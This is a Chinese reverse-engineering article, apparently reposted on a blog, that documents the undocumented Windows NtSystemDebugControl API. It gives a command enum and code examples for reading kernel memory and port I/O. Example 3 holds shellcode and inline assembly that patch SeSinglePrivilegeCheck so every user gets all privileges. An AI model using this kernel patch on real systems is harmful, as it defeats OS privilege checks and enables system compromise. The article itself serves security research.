zoukankan      html  css  js  c++  java
  • 对Native API NtSystemDebugControl的分析

    对Native API NtSystemDebugControl的分析
    文章作者:tombkeeper[0×40]nsfocus[0×2e]com

    在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
    中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
    有多强大。

    NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
    同系统上的调用号分别为:

    Windows NT 0xba
    Windows 2000 0xde
    Windows XP 0xff
    Windows 2003 0×108

    这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
    关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
    含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
    ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
    好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
    考资源[2]的两个链接中得到它。

    这就是ntexapi.h中的定义:

    typedef enum _SYSDBG_COMMAND {
    SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
    SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
    SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
    SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
    SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
    SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现
    } SYSDBG_COMMAND, *PSYSDBG_COMMAND;

    NTSYSAPI
    NTSTATUS
    NTAPI
    NtSystemDebugControl (
    IN SYSDBG_COMMAND Command,
    IN PVOID InputBuffer,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer,
    IN ULONG OutputBufferLength,
    OUT PULONG ReturnLength
    );

    从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
    同的第一形参可调用五个内核函数,实现相关功能。

    NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
    《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
    不再赘述。

    从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
    大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
    形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

    关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
    的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
    个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
    通用户根本执行不了,也就谈不上权限提升。

    下面的enum是我逆向工程的结果,绝大部分经过测试:

    typedef enum _SYSDBG_COMMAND {
    //以下5个在Windows NT各个版本上都有
    SysDbgGetTraceInformation = 1,
    SysDbgSetInternalBreakpoint = 2,
    SysDbgSetSpecialCall = 3,
    SysDbgClearSpecialCalls = 4,
    SysDbgQuerySpecialCalls = 5,

    // 以下是NT 5.1 新增的
    SysDbgDbgBreakPointWithStatus = 6,

    //获取KdVersionBlock
    SysDbgSysGetVersion = 7,

    //从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
    //但是不能从用户空间拷贝到内核空间
    SysDbgCopyMemoryChunks_0 = 8,
    //SysDbgReadVirtualMemory = 8,

    //从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
    //但是不能从内核空间拷贝到用户空间
    SysDbgCopyMemoryChunks_1 = 9,
    //SysDbgWriteVirtualMemory = 9,

    //从物理地址拷贝到用户空间,不能写到内核空间
    SysDbgCopyMemoryChunks_2 = 10,
    //SysDbgReadVirtualMemory = 10,

    //从用户空间拷贝到物理地址,不能读取内核空间
    SysDbgCopyMemoryChunks_3 = 11,
    //SysDbgWriteVirtualMemory = 11,

    //读写处理器相关控制块
    SysDbgSysReadControlSpace = 12,
    SysDbgSysWriteControlSpace = 13,

    //读写端口
    SysDbgSysReadIoSpace = 14,
    SysDbgSysWriteIoSpace = 15,

    //分别调用RDMSR@4和_WRMSR@12
    SysDbgSysReadMsr = 16,
    SysDbgSysWriteMsr = 17,

    //读写总线数据
    SysDbgSysReadBusData = 18,
    SysDbgSysWriteBusData = 19,

    SysDbgSysCheckLowMemory = 20,

    // 以下是NT 5.2 新增的

    //分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
    SysDbgEnableDebugger = 21,
    SysDbgDisableDebugger = 22,

    //获取和设置一些调试相关的变量
    SysDbgGetAutoEnableOnEvent = 23,
    SysDbgSetAutoEnableOnEvent = 24,
    SysDbgGetPitchDebugger = 25,
    SysDbgSetDbgPrintBufferSize = 26,
    SysDbgGetIgnoreUmExceptions = 27,
    SysDbgSetIgnoreUmExceptions = 28
    } SYSDBG_COMMAND, *PSYSDBG_COMMAND;

    从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
    内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
    Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
    些相关变量等。

    显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
    着桂冠,重新回到了奥林匹斯山之巅。

    下面举几个具体应用的例子。

    例子1:

    下面代码演示读取KdVersionBlock:

    //————————————————————————
    typedef struct _DBGKD_GET_VERSION64 {
    USHORT MajorVersion;
    USHORT MinorVersion;
    USHORT ProtocolVersion;
    USHORT Flags;
    USHORT MachineType;
    UCHAR MaxPacketType;
    UCHAR MaxStateChange;
    UCHAR MaxManipulate;
    UCHAR Simulation;
    USHORT Unused[1];
    ULONG64 KernBase;
    ULONG64 PsLoadedModuleList;
    ULONG64 DebuggerDataList;
    } DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

    DBGKD_GET_VERSION64 KdVersionBlock;

    EnablePrivilege(SE_DEBUG_NAME);

    ZwSystemDebugControl
    (
    SysDbgSysGetVersion,
    NULL,
    0,
    &KdVersionBlock,
    sizeof(KdVersionBlock), //必须是0×28
    NULL
    );

    printf (”KernBase: 0x%.8x\n”,KdVersionBlock.KernBase);
    printf (”PsLoadedModuleList: 0x%.8x\n”,KdVersionBlock.PsLoadedModuleList);
    printf (”DebuggerDataList: 0x%.8x\n”,KdVersionBlock.DebuggerDataList);
    //————————————————————————

    例子2:

    下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
    头两个字节,也就是“MZ”。

    //————————————————————————
    typedef struct _MEMORY_CHUNKS {
    ULONG Address;
    PVOID Data;
    ULONG Length;
    }MEMORY_CHUNKS, *PMEMORY_CHUNKS;

    MEMORY_CHUNKS QueryBuff;
    ULONG ReturnLength;
    char Buff[0×2] = {0};

    QueryBuff.Address = 0×804e0000; //Windows 2003的KernBase
    QueryBuff.Data = Buff; //在此是读出缓冲
    QueryBuff.Length = sizeof(Buff);

    EnablePrivilege(SE_DEBUG_NAME);

    ZwSystemDebugControl
    (
    SysDbgCopyMemoryChunks_0,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS), //必须是0×0C
    NULL,
    0,
    &ReturnLength
    );

    printf (”\”MZ\”: %s\n”,Buff);
    //————————————————————————

    例子3:

    下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
    Patch内核的ShellCode,把0×80580e66由原来的8a450c改为90b001:

    修改前:

    nt!SeSinglePrivilegeCheck+0×5c:
    80580e66 8a450c mov al,[ebp+0xc]
    80580e69 c9 leave
    80580e6a c20c00 ret 0xc

    修改后:
    nt!SeSinglePrivilegeCheck+0×5c:
    80580e66 90 nop
    80580e67 b001 mov al,0×1
    80580e69 c9 leave
    80580e6a c20c00 ret 0xc

    这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
    拥有全部系统特权。

    \xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
    \x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
    \x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

    //————————————————————————
    #pragma comment(linker, “/entry:main /ALIGN:4096″ )
    #pragma comment(lib, “kernel32.lib”)

    #define sysenter __asm __emit 0×0f __asm __emit 0×34

    void main(void)
    {
    __asm
    {
    int 3 //debug
    jmp patch

    SystemDebugControl:

    mov ax,0×108
    mov edx,esp
    sysenter
    ret

    patch:

    push 0xc901b090
    mov eax,esp
    push 0×04
    push eax
    push 0×80580e66
    push esp
    pop ebx
    xor eax,eax
    push eax
    push esp //ReturnLength
    push eax //OutputBufferLength
    push eax //OutputBuffer
    push 0×0c //InputBufferLength
    push ebx //InputBuffer
    push 0×09 //ControlCode
    push eax //for sysenter ret
    call SystemDebugControl
    add esp,0×30 //只是为了修正堆栈
    }
    }
    //————————————————————————

    上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
    有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
    要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
    的办法就是在WinDBG中执行。

    例子4:

    下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
    PC Speaker发声:

    //————————————————————————
    //演示用ZwSystemDebugControl读写端口使PC Speaker发声
    //tombkeeper 2004.08.03

    #include
    #include

    #pragma comment(lib, “advapi32″)

    #define NTAPI __stdcall
    #define FCHK(a) if (!(a)) {printf(#a ” failed\n”); return 0;}

    typedef int NTSTATUS;

    typedef enum _SYSDBG_COMMAND
    {
    SysDbgSysReadIoSpace = 14,
    SysDbgSysWriteIoSpace = 15
    }SYSDBG_COMMAND, *PSYSDBG_COMMAND;

    typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
    SYSDBG_COMMAND ControlCode,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength,
    PULONG ReturnLength
    );

    PZwSystemDebugControl ZwSystemDebugControl = NULL;

    typedef struct _IO_STRUCT
    {
    DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
    DWORD Reserved1; // Never accessed by the kernel
    PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
    DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
    DWORD Reserved4; // Must be 1
    DWORD Reserved5; // Must be 0
    DWORD Reserved6; // Must be 1
    DWORD Reserved7; // Never accessed by the kernel
    }
    IO_STRUCT, *PIO_STRUCT;

    BOOL EnablePrivilege (PCSTR name)
    {
    HANDLE hToken;
    BOOL rv;

    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
    0,
    name,
    &priv.Privileges[0].Luid
    );

    OpenProcessToken(
    GetCurrentProcess (),
    TOKEN_ADJUST_PRIVILEGES,
    &hToken
    );

    AdjustTokenPrivileges (
    hToken,
    FALSE,
    &priv,
    sizeof priv,
    0,
    0
    );
    rv = GetLastError () == ERROR_SUCCESS;

    CloseHandle (hToken);
    return rv;
    }

    BYTE InPortB (int Port)
    {
    BYTE Value;
    IO_STRUCT io;

    io.IoAddr = Port;
    io.Reserved1 = 0;
    io.pBuffer = (PVOID) (PULONG) & Value;
    io.NumBYTEs = sizeof (BYTE);
    io.Reserved4 = 1;
    io.Reserved5 = 0;
    io.Reserved6 = 1;
    io.Reserved7 = 0;

    ZwSystemDebugControl
    (
    SysDbgSysReadIoSpace,
    &io,
    sizeof (io),
    NULL,
    0,
    NULL
    );
    return Value;
    }

    void OutPortB (int Port, BYTE Value)
    {
    IO_STRUCT io;

    io.IoAddr = Port;
    io.Reserved1 = 0;
    io.pBuffer = (PVOID) (PULONG) & Value;
    io.NumBYTEs = sizeof (BYTE);
    io.Reserved4 = 1;
    io.Reserved5 = 0;
    io.Reserved6 = 1;
    io.Reserved7 = 0;

    ZwSystemDebugControl
    (
    SysDbgSysWriteIoSpace,
    &io,
    sizeof (io),
    NULL,
    0,
    NULL
    );
    };

    void BeepOn (int Freq)
    {
    BYTE b;

    if ((Freq >= 20) && (Freq <= 20000))
    {
    Freq = 1193181 / Freq;
    b = InPortB (0x61);
    if ((b & 3) == 0)
    {
    OutPortB (0x61, (BYTE) (b | 3));
    OutPortB (0x43, 0xb6);
    }
    OutPortB (0x42, (BYTE) Freq);
    OutPortB (0x42, (BYTE) (Freq >> 8));
    }
    }

    void BeepOff (void)
    {
    BYTE b;

    b = (InPortB (0×61) & 0xfc);
    OutPortB (0×61, b);
    }

    int main (void)
    {
    HMODULE hNtdll;
    ULONG ReturnLength;
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

    EnablePrivilege (SE_DEBUG_NAME);

    FCHK ((hNtdll = LoadLibrary (”ntdll.dll”)) != NULL);
    FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
    GetProcAddress (hNtdll, “ZwSystemDebugControl”)) != NULL);
    FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

    if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
    OSVersionInfo.dwMajorVersion >= 5 &&
    OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
    {
    BeepOn (1000); //声音频率1000Hz
    Sleep (1000);
    BeepOff ();
    }
    else
    {
    printf (”This program require Windows XP or Windows 2003.\n”);
    }
    return 0;
    }
    //————————————————————————

    参考资源:

    [1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
    Escalation Vulnerability
    http://www.securityfocus.com/bid/9694

    [2]ntexapi.h
    http://www.codeguru.com/code/legacy/system/ntexapi.zip
    http://void.ru/files/Ntexapi.h

  • 相关阅读:
    ultraiso:usb-hdd+ v2
    ntfs格式uefi启动u盘
    M.2、U.2谁更好?主流硬盘接口大扫盲
    高清(200万像素)多灯红外防水枪型网络摄像机 DH-IPC-HFW5200-IRA
    佳能 imageclass mf40120
    hotswapagent——热更新代码而无需重启生产环境
    S5700&S5710 产品文档 : 配置
    hp 88a加粉
    传真机色带安装
    Idea下Android的安装与配置 (2019.11更新)
  • 原文地址:https://www.cnblogs.com/flying_bat/p/1128645.html
Copyright © 2011-2022 走看看